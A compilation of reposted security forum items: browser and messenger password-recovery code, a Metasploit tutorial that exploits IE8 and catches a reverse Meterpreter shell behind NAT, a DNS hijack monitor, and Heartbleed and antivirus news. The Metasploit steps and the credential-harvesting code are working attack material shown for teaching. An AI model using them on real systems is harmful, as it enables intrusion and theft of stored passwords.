Nytro

[h=1]Password recovery for firefox, IE, google talk and more[/h]By [h=3]shebaw[/h]Hi everyone, since there is growing number of topics about password recovery, I decided to share my code I wrote after disassembling popular recovery software. I was hoping I would clean it up a little bit (too many callbacks, memory mapping). It recovers passwords stored by: IE 4-9, Firefox 0-the latest version, GTalk, MSN Messenger, Windows Live Messenger, Generic Network & Visible domain passwords. I'm sorry for cramming most of the recovery code in pass_recov.c. I was hopping I would break that up. I've attached the project. Here is how you would use it. Here is a sample code on how to use it. #include <stdio.h> #include "pass_recov.h" void CALLBACK display_pass(pass_type_t ptype, const wchar_t *url, const wchar_t *username, const wchar_t *password, void *param) { switch (ptype) { case firefox3: case firefox4: wprintf(L"firefox pass username:%s password:%s", username, password); break; /* and so on, you get the idea */ } } int main(void) { struct cred_grab_arg carg; carg.grab_pass = display_pass; /* user defined callback, that's called for each password recovered */ carg.param = NULL; /* user defined paramater that's used to pass values to the callback, NULL in this case */ get_firefox_passwords(&carg); get_ie_passwords(&carg); return 0; } he previous versions of firefox (0-3) used signon[1-3].txt while the later versions use sqlite database. The functions used to manipulate the sqlite databases are loaded from firefox's installation directory so sqlite doesn't need to be linked statically. It works from firefox 0 - the latest version. I didn't test the IE recovery code on IE 10 but it should work. IE 7 and above hash the passwords stored for each site using the url of the website which I think is clever. It can be circumvented if IE is set to store history of the browsed sites (default behavior) since we can get the urls to see if the hashes match. I'm not sure how IE 'sanitizes' the urls since it differs from sites to sites so I've added two ways which I noticed.[h=4]Attached Files[/h] pass_recov.zip 16.58KB 842 downloads Sursa: Password recovery for firefox, IE, google talk and more - Source Codes - rohitab.com - Forums

Metasploit Meterpreter and NAT Published January 4, 2014 | By Corelan Team (corelanc0d3r) Professional pentesters typically use a host that is connected directly to the internet, has a public IP address, and is not hindered by any firewalls or NAT devices to perform their audit. Hacking "naked" is considered to be the easiest way to perform a penetration test that involves getting shells back. Not everyone has the luxury of putting a box directly connected to the internet and as the number of free public IP addresses continues to decrease, the need for using an audit box placed in a LAN, behind a router or firewall, will increase. Putting an audit box behind a device that will translate traffic from private to public and vice versa has some consequences. Not only will you need to be sure that the NAT device won’t "break" if you start a rather fast portscan, but since the host is in a private LAN, behind a router or firewall, it won’t be reachable directly from the internet. Serving exploits and handling reverse, incoming, shells can be problematic in this scenario. In this small post, we’ll look at how to correctly configure Meterpreter payloads and make them work when your audit box is behind a NAT device. We’ll use a browser exploit to demonstrate how to get a working Meterpreter session, even if both the target and the Metasploit "attacker" box are behind NAT. Network setup I’ll be using the following network setup in this post: Both the attacker and the target are behind a NAT device. We don’t know the IP range used by the target and we’ve determined there is no direct way in from the internet to the target network, so the public IP of the target is not relevant. We’ll assume that the target has the ability to connect to the internet over port 80 and 443. I’ve used IP 1.1.1.1 to indicate the "public" side of our attack network. You will have to replace this IP with your own public IP when trying the steps in this post. I will use Kali Linux as the attacker and I have set up a clone of the Metasploit Git repository on the box: cd / mkdir -p /pentest/exploits git clone https://github.com/rapid7/metasploit.git cd metasploit-framework bundle install If you already had a git clone set up, make sure to update to the latest and greatest with "git pull". (A small bug, related with using Meterpreter behind NAT was just fixed a few hours ago, so it’s important to update to the latest version) The target is just a Windows XP SP3 box, but it doesn’t really matter what it is, as long as we can use a browser exploit to demonstrate how to use Meterpreter. I have installed Internet Explorer 8 from IECollection (download here: Utilu IE Collection - Utilu.com). I’ll be using this IE version because it’s outdated and pretty much vulnerable to most of the IE8 browser exploits out there. Set up forwarding on the attacker side If we ever want to be able to accept connections from the target, we will need to configure the attacker firewall/NAT to forward traffic on certain ports. The exact steps to do this will be very specific to the brand/model/type of router/firewall that you are using, so this is beyond the scope of this post. In general, the idea is to configure the router/firewall so traffic to the public IP address of the router, on ports 80 and 443, will be forwarded to 192.168.0.187 (which is the LAN IP of my attacker box). When setting up the router/firewall, make sure to check if port 80 and/or 443 are not used by the router/firewall (management interface, VPN endpoint, etc). We’ll use port 80 to serve the browser exploit and port 443 for the reverse Meterpreter connection. First, we need to verify that the forwarding works. On Kali, create a small html file and store it under /tmp root@krypto1:/# cd /tmp root@krypto1:/tmp# echo "It works" > test.html Next, make sure nothing is currently using port 80 or port 443 root@krypto1:/tmp# netstat -vantu | grep :80 root@krypto1:/tmp# netstat -vantu | grep :443 If you don’t see output to both commands, you should be good to go. If something is listed, you’ll need to find what process is using the port and kill the process. For port 80, you could check the processes that are taking control over the http port using the following lsof command: root@krypto1:/tmp# lsof -i | grep :http apache2 4634 root 4u IPv6 393366 0t0 TCP *:http (LISTEN) apache2 4642 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN) apache2 4643 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN) apache2 4644 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN) apache2 4645 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN) apache2 4646 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN) Just stop apache2 to free up the port: root@krypto1:/tmp# service apache2 stop Stopping web server: apache2 ... waiting . root@krypto1:/tmp# With all ports available, we’ll run a simple web server and serve the "test.html" page. From the folder that contains the test.html file, run this python command: root@krypto1:/tmp# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ... If you now connect to http://192.168.0.187/test.html from the Kali box itself, you should see the "It works" page and the The output on the Kali box should list the connection and show that the page was served with response 200 root@krypto1:/tmp# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ... 192.168.0.187 - - [04/Jan/2014 12:42:02] "GET /test.html HTTP/1.1" 200 - Perfect, this proves that the webserver works. On the target computer, connect to http://1.1.1.1/test.html (again, replace 1.1.1.1 with the public IP of the router/firewall on the attacker side) and you should get the same thing. If you don’t see the page, check that the forwarding is set up correctly. If this works for port 80, go back to the attacker box and terminate the python command using CTRL+C. Then launch the command again, this time using port 443: root@krypto1:/tmp# python -m SimpleHTTPServer 443 Serving HTTP on 0.0.0.0 port 443 ... Now access the webserver over port 443. Despite the fact that we are using 443 and that 443 is commonly associated with https (encrypted), our python handler is not using encryption. In other words, we still have to use http instead of https in the URL: root@krypto1:/tmp# python -m SimpleHTTPServer 443 Serving HTTP on 0.0.0.0 port 443 ... 192.168.0.187 - - [04/Jan/2014 12:47:44] "GET /test.html HTTP/1.1" 200 - 192.168.0.187 - - [04/Jan/2014 12:47:44] code 404, message File not found 192.168.0.187 - - [04/Jan/2014 12:47:44] "GET /favicon.ico HTTP/1.1" 404 - 192.168.0.187 - - [04/Jan/2014 12:47:44] code 404, message File not found 192.168.0.187 - - [04/Jan/2014 12:47:44] "GET /favicon.ico HTTP/1.1" 404 - (don’t worry about the 404 messages related with /favicon.ico – it’s safe to ignore them) If you can connect to http://1.1.1.1:443/test.html from the target computer, we know that the port forwarding is working correctly for both port 80 and 443. If this doesn’t work, there’s no point in proceeding, because anything else we try will fail. When everything works, close the python command to free up port 443 too. Metasploit configuration Browser exploit – meterpreter/reverse_https First of all, let’ set up Metasploit to serve the browser exploit and handle a reverse https Meterpreter connection. The idea is to trick the target into connecting to the exploit on port 80 and serve the meterpreter/reverse_https connection over port 443. Go to the metasploit-framework folder, open msfconsole (don’t forget the ./ if you want to be sure you’re running msfconsole from the current folder and not the version that was installed with Kali) and select an exploit. For the sake of this exercise, I’ll use ms13_069_caret.rb: root@krypto1:/tmp# cd /pentest/exploits/metasploit-framework/ (master) root@krypto1:/pentest/exploits/metasploit-framework# ./msfconsole , , / \ ((__---,,,---__)) (_) O O (_)_________ \ _ / |\ o_o \ M S F | \ \ _____ | * ||| WW||| ||| ||| =[ metasploit v4.9.0-dev [core:4.9 api:1.0] + -- --=[ 1248 exploits - 678 auxiliary - 199 post + -- --=[ 324 payloads - 32 encoders - 8 nops msf > use exploit/windows/browser/ms13_069_caret msf exploit(ms13_069_caret) > Show the options: msf exploit(ms13_069_caret) > show options Module options (exploit/windows/browser/ms13_069_caret): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH no The URI to use for this exploit (default is random) Exploit target: Id Name -- ---- 0 IE 8 on Windows XP SP3 The exploit requires a SRVHOST and SRVPORT. These 2 variables will be used by Metasploit to determine where the webserver needs to bind to and listen on. The plan is to trick the target to connect to this webserver, using the public IP of our firewall/router, which will then forward the traffic to our Metasploit instance. We can't tell the Metasploit webserver to listen to the public IP of our router, because it won't be able to "bind" itself to that IP address. If we use 0.0.0.0, the Metasploit webserver will simply listen on all interfaces for incoming traffic. In other words, you can leave the SRVHOST to 0.0.0.0, or you can set it to the LAN IP of the Kali box itself (192.168.0.187 in this case). I'll just leave the default 0.0.0.0. Next, we need to change the port to 80, and we'll set the URIPATH to / (so we can predict what the URI will be, instead of letting Metasploit create a random URI): msf exploit(ms13_069_caret) > set SRVPORT 80 SRVPORT => 80 msf exploit(ms13_069_caret) > set URIPATH / URIPATH => / Next, let's select the meterpreter reverse_https payload for windows. If we run "show options" again, we'll see this: msf exploit(ms13_069_caret) > set payload windows/meterpreter/reverse_https payload => windows/meterpreter/reverse_https msf exploit(ms13_069_caret) > show options Module options (exploit/windows/browser/ms13_069_caret): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 80 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH / no The URI to use for this exploit (default is random) Payload options (windows/meterpreter/reverse_https): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST yes The local listener hostname LPORT 443 yes The local listener port Exploit target: Id Name -- ---- 0 IE 8 on Windows XP SP3 msf exploit(ms13_069_caret) > The Module options (SRVHOST and SRVPORT) are set the way we want it. The Payload options require an LHOST and LPORT. Based on the output above, the LPORT is already set to 443. This is the port where the Meterpreter reverse connection will attempt to connect to. If it was not set to 443 already on your box, simply run "set LPORT 443" to make sure the Meterpreter handler will listen on port 443: msf exploit(ms13_069_caret) > set LPORT 443 LPORT => 443 Note: In any case, to keep things as easy as possible, try to use the same ports for a specific "service". That is, if you host the webserver on port 80 on the firewall, try to make sure to also forward traffic to port 80 on the attacker/Metasploit box, and host the exploit on port 80 in Metasploit. The same thing applies to the payload. If we serve the payload on port 443, make sure to use this port everywhere. LHOST serves 2 purposes : It indicates the IP address where the Meterpreter shellcode will have to connect back to (from the target, to the attacker). It tells Metasploit where to bind to when setting up the Meterpreter "handler". Since our attacker host is behind NAT, we have to use the public IP address of the router/firewall as LHOST. When the exploit is executed, this IP will be embedded in the shellcode and when the initial Meterpreter shellcode runs on the target, it will connect back to this IP address. The port forwarding on our router/firewall will then forward traffic to our LAN IP of the attacker host. For this reason, we need to set LHOST to 1.1.1.1 (the public IP of your attacker router/firewall) Using a public IP as LHOST also means that Metasploit will attempt to bind itself to that IP when setting up the Meterpreter handler. Since this IP belongs to the router/firewall and not to the Metasploit instance, this will obviously fail. The good thing is that Metasploit will automatically fall back to 0.0.0.0 and basically serve the Meterpreter handler on all local IPs on the attacker host, while remembering that LHOST was set to our public IP address. This is exactly what we need. Set LHOST to 1.1.1.1 msf exploit(ms13_069_caret) > set LHOST 1.1.1.1 LHOST => 1.1.1.1 If we don't really want the Meterpreter handler to fall back to 0.0.0.0, we can use one of the "advanced" options and tell it to listen on the LAN IP address: msf exploit(ms13_069_caret) > set ReverseListenerBindAddress 192.168.0.187 ReverseListenerBindAddress => 192.168.0.187 and then fire up the exploit: msf exploit(ms13_069_caret) > exploit [*] Exploit running as background job. [*] Started HTTPS reverse handler on https://192.168.0.187:443/ [*] Using URL: http://0.0.0.0:80/ [*] Local IP: http://192.168.0.187:80/ [*] Server started. The output shows us that http://0.0.0.0:80 (or http://192.168.0.187:80) is hosting the browser exploit. If the target connects to http://1.1.1.1, traffic will be forwarded to the Kali box on port 80 and serve the exploit. The HTTPS reverse handler is listening on 192.168.0.187, port 443. What we don’t see in the output is the fact that the actual Meterpreter shellcode contains IP address 1.1.1.1 to connect back to. That value is taken from the LHOST variable. If you didn’t use ReverseListenerBindAddress and you get something like the output below after running "exploit", then check the following check that the port is free to use make sure you are running the latest version of Metasploit set the ReverseListenerBindAddress to your local LAN IP or to 0.0.0.0 exit msfconsole and open it again. under certain scenario’s, you’ll notice that the bind doesn’t get properly cleaned up if you ran a session before. msf exploit(ms13_069_caret) > exploit [*] Exploit running as background job. [-] Exploit failed: Rex::AddressInUse The address is already in use (0.0.0.0:443). If we now use IE8 (from IECollection) on the target and connect to the public IP of our attacker router/firewall on port 80, we should see this: msf exploit(ms13_069_caret) > [*] 2.2.2.2 ms13_069_caret - Sending exploit... [*] 2.2.2.2 ms13_069_caret - Sending exploit... [*] 2.2.2.2:53893 Request received for /NtFT... [*] 2.2.2.2:53893 Staging connection for target /NtFT received... [*] Patched user-agent at offset 663128... [*] Patched transport at offset 662792... [*] Patched URL at offset 662856... [*] Patched Expiration Timeout at offset 663728... [*] Patched Communication Timeout at offset 663732... [*] Meterpreter session 1 opened (192.168.0.187:443 -> 2.2.2.2:53893) at 2014-01-05 09:24:26 +0100 [*] Session ID 1 (192.168.0.187:443 -> 2.2.2.2:53893) processing InitialAutoRunScript 'migrate -f' [*] Current server process: iexplore.exe (2952) [*] Spawning notepad.exe process to migrate to [+] Migrating to 500 [+] Successfully migrated to process msf exploit(ms13_069_caret) > sessions -i 1 [*] Starting interaction with 1... meterpreter > shell Process 592 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] © Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\peter\Desktop> 2.2.2.2 is the public IP of the target. Metasploit is sending the payload when the target connects to port 80, exploits the browser and executes the initial meterpreter payload. This payload will download metsrv.dll (which gets patched by Metasploit first, so it would contain the attacker public IP and port), loads it into memory (using reflective load) and runs the code. When that is done, you get a full Meterpreter session. Life is good. So, in a nutshell, set the following variables and you should be good to go: SRVHOST : 0.0.0.0 SRVPORT : set to the port where you want to host the browser exploit LHOST : the attacker public IP LPORT : set to the port where you want to serve the Meterpreter handler ReverseListenerBindAddress : LAN IP (optional) If, for whatever reason, you also want to host the Meterpreter handler on another port than what the client will connect to, then you can use LPORT to specify where the target will connect back to, and use ReverseListenerBindPort to indicate where the handler needs to listen to. Obviously, you’ll need to make sure the port forwarding will connect to the right port on your attacker machine. © 2014, Corelan Team (corelanc0d3r). All rights reserved. Sursa: https://www.corelan.be/index.php/2014/01/04/metasploit-meterpreter-and-nat/

A chain is only as strong as its weakest link – DNS Hijack Monitoring Published December 29, 2013 | By Corelan Team (corelanc0d3r) It doesn’t really matter how much time your developers have spent writing secure code and how many layers of security you have implemented to protect your website from being hacked and defaced. Recent incidents have demonstrated that the bad guys will simply look for and find an easier way to hurt your business. Instead of going after vulnerabilities in the website itself, they’ll focus on a potentially weaker link in the system: the DNS registrar. All they have to do is "convince" the right person (via e-mail, fax, etc) or by guessing username/password in the management console for DNS, by hacking into a DNS hosting company, that an update to your public DNS records is legit. A few moments later, the internet won’t be looking at your website anymore. You could use tools to monitor the content of your websites & report back when significant changes are made, but as the content of websites often changes, you’ll find yourself updating your tools quite often. Perhaps an easier approach would be to also monitor the DNS records and report when an IP address has changed. Getting started I decided to hack a little python script together that allows you to do that. You can get a copy of the script at https://github.com/corelan/dnshjmon or simply clone the repository: root@krypto1:/dns# git clone https://github.com/corelan/dnshjmon.git Cloning into 'dnshjmon'... remote: Counting objects: 54, done. remote: Compressing objects: 100% (37/37), done. remote: Total 54 (delta 28), reused 43 (delta 17) Unpacking objects: 100% (54/54), done. root@krypto1:/dns# Setting up the configuration The script uses 2 configuration files: a file that contains the hostnames you want to monitor, and the valid IP (one, multiple, or even CIDR notations) a file that contains the configuration about how to send email reports DNS Config file This is a flat ascii file (dnshjmon_dns.conf) that contains the list with hostnames that need to be checked and the list with valid IPs for that hostname. hostname=ip You can specify multiple IP addresses and/or even use CIDR notation. Simply separate entries with a comma: hostname=127.0.0.1,192.168.0.1/25 If you want to exclude a certain IP, prefix it with a dash hostname=127.0.0.1,192.168.0.1/25,-192.168.0.5 You can, obviously, specify as many hostnames as you want. You can specify an alternative path for the dns configuration file using the -d argument. SMTP Config file This file (dnshjmon_smtp.conf) will be created the first time you run dnshjmon.py, using an interactive wizard. (master) root@krypto1:/dns/dnshjmon# python dnshjmon.py __ __ __ .--| |.-----..-----.| |--.|__|.--------..-----..-----. | _ || ||__ --|| || || || _ || | |_____||__|__||_____||__|__|| ||__|__|__||_____||__|__| |___| [ corelanc0d3r - www.corelan.be ] [+] Using dns config file /dns/dnshjmon/dnshjmon_dns.conf [-] Oops, email config file /dns/dnshjmon/dnshjmon_smtp.conf doesn't exist yet [+] Creating a new config file. > Enter smtp mail server IP or hostname: 127.0.0.1 > Enter mail server port (default: 25): > Enter 'From' email address: peter.ve@corelan.be > Enter 'To' email address: peter.ve@corelan.be > Enter mail server timeout (in seconds, default: 300): > Does server require authentication? (yes/no, default: no): > Does server require/support STARTTLS ? (yes/no, default: no): [+] Saved new config file You can specify an alternate path to the configuration file using the -s parameter. If you want to add additional mailserver configurations or change the existing one, simply edit the conf file. You can test if the mail configuration works correctly by using the -mail argument. By default, emails will be sent with high-priority and requesting a return-receipt. Can I use custom nameservers (other than the ones configured on the OS level) ? Sure you can, but you’ll need to install the python-dnspython library from www.dnspython.org. On Ubuntu / Kali, this is as easy as running apt-get install python-dnspython. On Windows, you need to extract the archive and run setup.py or, alternatively, just copy the ‘dns’ subfolder to c:\python27\lib\site-packages. When dnshjmon detects that the library is installed, it will expose a -n argument, which allows you to specify the full path to a flat file that contains the IP address or addresses (one IP per line) of the DNS server(s) you want to use for queries. Using the script After setting up the configuration files, all you have to do is schedule the script to run (every half an hour, for example). When a mismatch is found, an email will be sent. It may not be a bad idea to configure your monitoring box to use Google or OpenDNS for DNS resolution. Furthermore, if you run this script on a windows box, maybe create a little batch file that will also call ipconfig /flushdns prior to running the python script. It might be a good idea to run a git pull from time to time, as I may be adding new features some time in the future. If all goes well, the output (on screen) will look like this: (master) root@krypto1:/dns/dnshjmon# python dnshjmon.py _ __ __ .--| |.-----..-----.| |--.|__|.--------..-----..-----. | _ || ||__ --|| || || || _ || | |_____||__|__||_____||__|__|| ||__|__|__||_____||__|__| |___| [ corelanc0d3r - www.corelan.be ] [+] Using dns config file /dns/dnshjmon/dnshjmon_dns.conf [+] Using mail config file /dns/dnshjmon/dnshjmon_smtp.conf [+] Running DNS check [+] Using OS DNS configuration for queries Results: -------- 1. www.corelan.be - check OK? : true (['178.79.152.9']) [+] Done checking, tested 1 sites, reported 0 IP mismatches if an issue is found, you’ll see this: (master) root@krypto1:/dns/dnshjmon# python dnshjmon.py _ __ __ .--| |.-----..-----.| |--.|__|.--------..-----..-----. | _ || ||__ --|| || || || _ || | |_____||__|__||_____||__|__|| ||__|__|__||_____||__|__| |___| [ corelanc0d3r - www.corelan.be ] [+] Using dns config file /dns/dnshjmon/dnshjmon_dns.conf [+] Using mail config file /dns/dnshjmon/dnshjmon_smtp.conf [+] Running DNS check [+] Using OS DNS configuration for queries Results: -------- 1. www.corelan.be - check OK? : false (['178.79.152.9'] : Record manipulated?) [+] Done checking, tested 1 sites, reported 1 IP mismatches ************************************************** 1 DNS record(s) may have been manipulated: 20131231-09:43:26: www.corelan.be resolves to 178.79.152.9, but it should be ['178.79.152.8'] ************************************************** [+] Config file appears to contain 1 mail server definitions [+] Checking if 172.0.0.1:25 is reachable Yup, port is open [+] Connecting to 127.0.0.1 on port 25 [+] Connected [+] Sending email [+] Mail sent, disconnecting Suppose you want to use the google DNS server 8.8.8.8 instead of the OS DNS server configuration and you have installed python-dnspython, then simply create a file (nameservers.conf or something like that) and put 8.8.8.8 in that file. Tell dnshjmon to use that file and the output will look like this: (master) root@krypto1:/dns/dnshjmon# python dnshjmon.py -n nameservers.conf _ __ __ .--| |.-----..-----.| |--.|__|.--------..-----..-----. | _ || ||__ --|| || || || _ || | |_____||__|__||_____||__|__|| ||__|__|__||_____||__|__| |___| [ corelanc0d3r - www.corelan.be ] [+] Using dns config file /dns/dnshjmon/dnshjmon_dns.conf [+] Using mail config file /dns/dnshjmon/dnshjmon_smtp.conf [+] Running DNS check [+] Using 1 DNS server(s) for queries: ['8.8.8.8'] Results: -------- 1. www.corelan.be - check OK? : true (['178.79.152.9']) [+] Done checking, tested 1 sites, reported 0 IP mismatches The script was written and tested against python 2.7 and should run out of the box on Windows, Linux and Mac OS. Enjoy ! © 2013, Corelan Team (corelanc0d3r). All rights reserved. Sursa: https://www.corelan.be/index.php/2013/12/29/a-chain-is-only-as-strong-as-its-weakest-link-dns-hijack-monitoring/

Bsidesla 2013 - Ssd Data Evaporation @sambrowne Description: For More Information please visit : - BSidesLV Bsides Las Vegas 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Bsidesla 2013 - Ssd Data Evaporation @sambrowne

Bsidesla 2013 - Cookie Reuse Sam Bowne @sambrowne Description: For More Information please visit : - BSidesLV Bsides Las Vegas 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Bsidesla 2013 - Cookie Reuse Sam Bowne @sambrowne

Bsidesla 2013 - Gps Hacking @Recompiler Description: For More Information please visit : - BSidesLV Bsides Las Vegas 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Bsidesla 2013 - Gps Hacking @Recompiler

Thursday, April 17 2014[h=3]TOR Bleed[/h] Update 2: I scanned Tor starting Friday April 11th and ended Sunday April 13th. I stopped cause I got enough evidence on leaked plain text. I wasn't sure what to do with the data so I was sitting on it for a couple of days but than decided to just blog about it. Update: Tor doesn't have too many exitnodes, the nodes I was testing are Tor nodes in general not only exitnodes. Never the less I found a number of vulnerable exitnodes that leak plain text data. The Tor Project has started to black list vulnerable nodes. Tuesday April 7th I started my own investigations of the Heartbleed issue. In this blog post I want to talk about one of the things I've been looking into that is the effect heartbleed has on TOR. TOR heavily uses SSL to encrypt traffic between the various TOR nodes. TOR was obviously vulnerable as reported by the TOR project. For my investigation I pulled a list of about 5000 TOR nodes using dan.me.uk. Using one of the many proof-of-concept exploits I scanned the TOR nodes to determine if they are vulnerable. I found 1045 of the 5000 nodes to be vulnerable to the heartbleed bug, that is about 20%. I briefly checked the leaked memory to determine if plain text is leaked that is related to TOR user traffic. Yes, TOR exitnodes that are vulnerable to heartbleed leak plain text user traffic. You can find anything ranging from hostnames, downloaded web content, to session IDs, etc. The majority of the vulnerable TOR nodes are located in Germany, Russia, France, Netherlands, United Kingdom, and Japan. The TOR network has more than 5000 nodes so this is not a complete picture but it provides a good overview of the possible number of vulnerable exitnodes. The heartbleed bug basically allows any one to obtain traffic coming in and out of TOR exitnodes (given that the actual connection that is run over TOR is not encrypted itself). Of course a malicious party could run a TOR exitnode and inspect all the traffic that passes thru it, but this requires running a TOR node in the first place. Using the heartbleed bug anyone can query vulnerable exitnodes to obtain TOR exit traffic. There are a number of possible solutions for this problem. 1) update vulnerable TOR nodes (hopefully in progress), 2) create a blacklist of vulnerable TOR nodes and avoid them, 3) stop using TOR until all nodes are updated. Further Steps: Scan all TOR exitnodes to create a black list of vulnerable nodes so users can avoid them. Notes: One interesting thing I found is the large number of requests that seem to be originating from malware due to the domain names looking like the output of a DGA. Links: Heartbleed Heartbleed disclosure timeline: who knew what and when Sursa: Collin R. Mulliner

PlaidCTF writeup for Pwn-275 – Kappa (type confusion vuln) Hey folks, This is my last writeup for PlaidCTF! You can get a list of all my writeups here. Kappa is a 275-point pwnable level called Kappa, and the goal is to capture a bunch of Pokemon and make them battle each other! Ultimately, this issue came down to a type-confusion bug that let us read memory and call arbitrary locations. Let's see why! The setup When you run Kappa, you get a Pokemon interface: Thank you for helping test CTF plays Pokemon! Keep in mind that this is currently in alpha which means that we will only support one person playing at a time. You will be provided with several options once the game begins, as well as several hidden options for those true CTF Plays Pokemon fans . We hope to expand this in the coming months to include even more features! Enjoy! Choose an Option: 1. Go into the Grass 2. Heal your Pokemon 3. Inpect your Pokemon 4. Release a Pokemon 5. Change Pokemon artwork If you go into the grass, you can capture a Pokemon: You walk into the tall grass! You failed to find any Pokemon! Choose an Option: 1. Go into the Grass 2. Heal your Pokemon 3. Inpect your Pokemon 4. Release a Pokemon 5. Change Pokemon artwork You walk into the tall grass! A wild Kakuna appears! Choose an Option: 1. Attack 2. Throw Pokeball 3. Run You throw a Pokeball! You successfully caught Kakuna! What would you like to name this Pokemon? POKEMON1 Choose an Option: 1. Go into the Grass 2. Heal your Pokemon 3. Inpect your Pokemon 4. Release a Pokemon 5. Change Pokemon artwork ...And so on. Articol complet: https://blog.skullsecurity.org/2014/plaidctf-writeup-for-pwn-275-kappa-type-confusion-vuln

[TABLE=width: 600] [TR] [TD=align: center][TABLE=width: 100%] [TR] [TD] Real-World Protection Test Released File-Detection Test Released Firewall Review [/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD=align: center][TABLE=width: 100%] [TR] [TD] [/TD] [/TR] [TR] [TD]Dear <<First Name>> <<Last Name>>! We released the results of our latest Real-World Protection Test for March 2014. These show that in a real-world digital environment with ever-increasing malicious programs, keeping computers secure may prove to be a challenge not everybody is up to. We nearly tripled the test cases in the Real-World Protection Test to show more accurate results. A total of 24 antivirus products (using all their protection features) were included in the Real-World Protection Test of March. Tests of some additional products have been commissioned by IT publications, and although they are not included in this report, for some of them (G DATA, Symantec, ...) the results will not be inlcuded the reports, for some of them the results will be given along our half year report on the 15th of July 2014. None of the products were able to reach a 100% protection rate against widespread malicious samples used in this test. It is important to mention that the latter reflect only the March landscape of the cyberspace and, as the Internet environment changes dynamically from month to month, products might perform differently in the next months. Statistical Accuracy More than 125,000 test cases in the File Detection Test and around 1260 test cases in the Real World Test for statistical accuracy! Please have a look at the PDF why it is so important to use a large testset. Currently, AV-Comparatives' Whole-Product Dynamic Real-World Protection Test is the most comprehensive and complex test available when it comes to evaluating the real-life protection capabilities of antivirus software. Simply put, the test framework replicates the scenario of an everyday user in an everyday online environment – the typical situation that most of us experience when using a computer with an Internet connection. It creates a realistic setting where the antivirus products must show their ability to thoroughly protect the user’s computer when surfing the web. This year's Real-World Protection Tests are being run on Microsoft Windows 7 Home Premium 64-Bit SP1. Additionally, but not competing, the out-of-box protection of Microsoft Security Essentials (included with Windows 7) and Windows Defender (Windows 8) is evaluated. As well as the test workstations for the competing third-party security programs, two additonal, fully updated workstations are run: one with Windows 7 Home Premium 64-bit SP1 with Microsoft Security Essentials installed, and another with Windows 8 64-bit running the integrated Windows Defender. In the current test (March), both the out-of-box solutions achieved a 88.4% protection score. File-Detection Test We also released the file detection test of March 2014 - please find the results here: http://www.av-comparatives.org/comparativesreviews/detection-test Tests of some additional products have been commissioned by IT publications, and although they are not included in this report, for some of them (G DATA, Symantec, ...). results can be requested using the following link or can be read in the printed magazines. https://itsecurity.zendesk.com/account/dropboxes/20300746#/dropbox/tickets/new Firewall Review For the first time we did a very basic Firewall review, which was orderd by Chip. Two products are tested exclusively for Chip and their results can be seen on the Chip website. A link is given in the report. AV-Comparatives Firewall Reviews » AV-Comparatives [/TD] [/TR] [/TABLE] [/TD] [/TR] [/TABLE] Sursa: New Anti-Virus Test Results released - March 2014

[h=1]Heartbleed Attack Bypasses Multifactor Authentication, Hijacks VPN Sessions[/h] byRobert Westervelt on April 18, 2014, 2:50 pm EDT Attackers have developed a way to exploit Heartbleed in an SSL VPN, bypassing multifactor authentication to gain remote access to an organization's internal network, according to researchers at security firm Mandiant, the consulting and incident response arm of network security vendor FireEye. In a blog post Friday describing the latest Hearbleed attack, Mandiant said it took place April 8 following the disclosure of the OpenSSL vulnerability. An attacker exploited the weakness in a VPN appliance and hijacked multiple active user sessions, said Christopher Glyer and Chris DiGiamo, two Mandiant researchers analyzing the risk. "The attack bypassed both the organization's multifactor authentication and the VPN client software used to validate that systems connecting to the VPN were owned by the organization and running specific security software," the researchers said. The researchers said the attack involved sending repeated malformed heartbeat requests to the Web server running on the VPN device. The attacker was able to obtain active session tokens for authenticated users. Gaining the tokens made the attacker appear legitimate to the VPN appliance and gave the attacker the ability to move laterally to more sensitive systems on the network, according to the researchers. Solution providers tell CRN that there has been significant effort undertaken in scanning and identifying Web servers that are open to the Heartbleed bug. Other network devices, including SSL VPN appliances, could have fallen lower on the priority list at some organizations, they said. The attack highlights a serious issue that needs to be quickly assessed by IT teams, said Justin Kallhoff, CEO of Lincoln, Neb.-based network security systems integrator Infogressive. "It's a potential complete nightmare for anyone with a commercial SSL VPN that has the OpenSSL vulnerability," Kallhoff said. "It would open up enterprises of many sizes to a non-authenticated attacker getting logged into the SSL VPN, and bypassing multifactor is an even bigger problem." Attacks have been difficult for IT teams to detect. According to Mandiant, the VPN exploit method was identified and confirmed by analyzing IDS signatures and VPN logs. The IDS appliance alerted more than 17,000 times to the attack. Mandiant is recommending organizations check whether their VPN appliance software contains the Heartbleed flaw, implement IDS signatures to identify attacks, and look back on VPN logs to identify repeated IP address changes during a session. Look for "addresses that are in different network blocks, geographic locations, from different service providers, or rapidly within a short time period," Mandiant said. Successful attacks against vulnerable Web servers have been well documented. It took attackers about nine hours to exploit Heartbleed and get private SSL keys, according to a test conducted last week by website security vendor CloudFlare. Meanwhile, the Canada Revenue Agency is dealing with the fallout of a Heartbleed attack that exposed information on 900 Canadian taxpayers. It was the first serious data breach associated with the OpenSSL vulnerability. Sursa: Mandiant Researchers: Heartbleed Attack Bypasses Multifactor 